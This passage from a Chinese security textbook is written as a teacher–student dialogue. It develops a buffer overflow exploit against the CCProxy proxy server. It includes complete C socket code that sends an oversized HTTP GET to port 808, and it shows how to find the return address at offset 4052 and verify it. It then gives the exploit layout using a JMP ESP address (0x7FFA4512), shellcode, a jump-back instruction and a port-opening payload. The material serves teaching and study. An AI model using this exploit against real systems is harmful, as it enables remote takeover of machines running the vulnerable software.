7.1.2 漏洞的定位和利用

“我们用VC写一个程序,往CCProxy的808端口发送超长字符串,其格式如下:”

GET \AAAAAAAAAAAAAA(4085个A) HTTP/1.0\x0D\x0A\x0D\x0A

“发送程序4085byte.cpp(光盘有收录)比较简单,就是网络通信的客户端程序。给出源代码如下,大家可以再巩固一下socket编程。”

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
    WSADATA ws;
    SOCKET s;
    int ret;
    char buf[5000];
    int i;
    int nLen;
    //初始化wsa
    WSAStartup(MAKEWORD(2,2),&ws);
    //建立socket
    s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    //连接对方808端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(808);
    server.sin_addr.s_addr=inet_addr("192.168.3.151");
    //连接!
    if (connect(s,(struct sockaddr *)&server,sizeof(server) ) < 0)
    {
        printf("connect error");
        return -1;
    }
    nLen = 0;
    strcpy(buf, "GET /");
    nLen += sizeof("GET /")-1;
    for(nLen; nLen<4080+5; nLen++)
    {
        buf[nLen] = 'A';
    }
    buf[nLen] = '\0';
    strcat(buf, " HTTP/1.0\x0D\x0A\x0D\x0A");
    nLen += sizeof(" HTTP/1.0\x0D\x0A\x0D\x0A")-1;
    //构造字符串后,发送
    send(s, buf, nLen , 0);
    printf("send OK!");
    closesocket(s); 
    WSACleanup(); 
    return 0;
}

“嗯,就是初始化→建Socket→连接→发送!”宇强总是能看透本质。

“对!请注意,发送数据的格式一定要保证正确,前导字符是‘GET /’,然后是大量的字符‘A’,而结束字符是‘HTTP/1.0\x0D\x0A\x0D\x0A’。这样才能让CCProxy认为是HTTP的请求,从而处理它。”

“哦!‘\x0D\x0A’代表什么呢?”古风问道。

“这是HTTP协议中规定的请求结束标志,具体可以参看RFC文档!”老师回答道,“我们发送给代理服务器后,CCProxy发生缓冲区溢出,就会弹出出错对话框,XP下如图7-5。”

“哎哟,和Win2000的不一样也,看不到出错时EIP的值!”玉波嚷道。

“不,我们也可以看。点击蓝色的字——‘请单击此处’。就可看到图7-6的报错框。其中第二排有 Offset:41414141’ 。表示执行0x41414141,就是‘AAAA’的16进制!”

“哦,那还是和Win2000下的一样了!”宇强满意的说,“我们只需改变buf的赋值过程,分别定位千位、百位、十位和个位就可以了。”

“是的!”古风就要去改变程序了。

“等等,等等!”老师急阻止,“定位我们已经详细的讲过了,这里不是重点。具体的定位程序下来大家参考CCProxy1.cpp、CCProxy2.cpp、CCProxy3.cpp、CCProxy4.cpp(光盘有收录),它们分别定位千位、百位、十位和个位。”

“大家下去可自己练习一下。通过它们,我们可定位出:从4052个A开始的地方就是返回点。当然,验证还是有必要的,我们把数组全部赋为A,而4052开始的4个字节赋为B,构造如下:”

for(i=0; i<4080; i++,nLen++)
buf[nLen] = 'A';
buf[4047+5] = 'B';
buf[4048+5] = 'B';
buf[4049+5] = 'B';
buf[4050+5] = 'B';

“重新启动CCProxy,运行修改过后的测试程序。这次弹出的对话框如图7-7,果然是42424242覆盖到了返回点。”

“证明的确是4052的地方覆盖了返回点。有了返回点的位置,写出利用程序简直就是轻车熟路了!”老师说道。

“是啊,我们覆盖4052个A,然后是JMP ESP的地址,这个是……是……”玉波挠了挠后脑勺。

古风一口答道:“是0x7FFA4512。”

“对!最后跟上ShellCode,按照下面这个格式就行了。”

GET /AAAA(4052个A)… JMP ESP地址 SHELLCODE HTTP/1.0

“嗯!是的。”老师补充道,“但因为覆盖了4052个字节,所以我们可以把ShellCode放在前面,而在JMP ESP的地址后放一个JMP BACK的指令,跳回到ShellCode中。格式就像这样:”

GET \ AAAA…AA ShellCode 0x7FFA4512 JMPBACK HTTP/1.0

大家都点头称是。

“4000多个字节,不用实在浪费了,而且加在后面,反而可能会引发异常。好!ShellCode用完成开端口功能的代码。我们构造出利用程序JmpEspShell.cpp(光盘有收录)。执行!登陆成功!如图7-8。”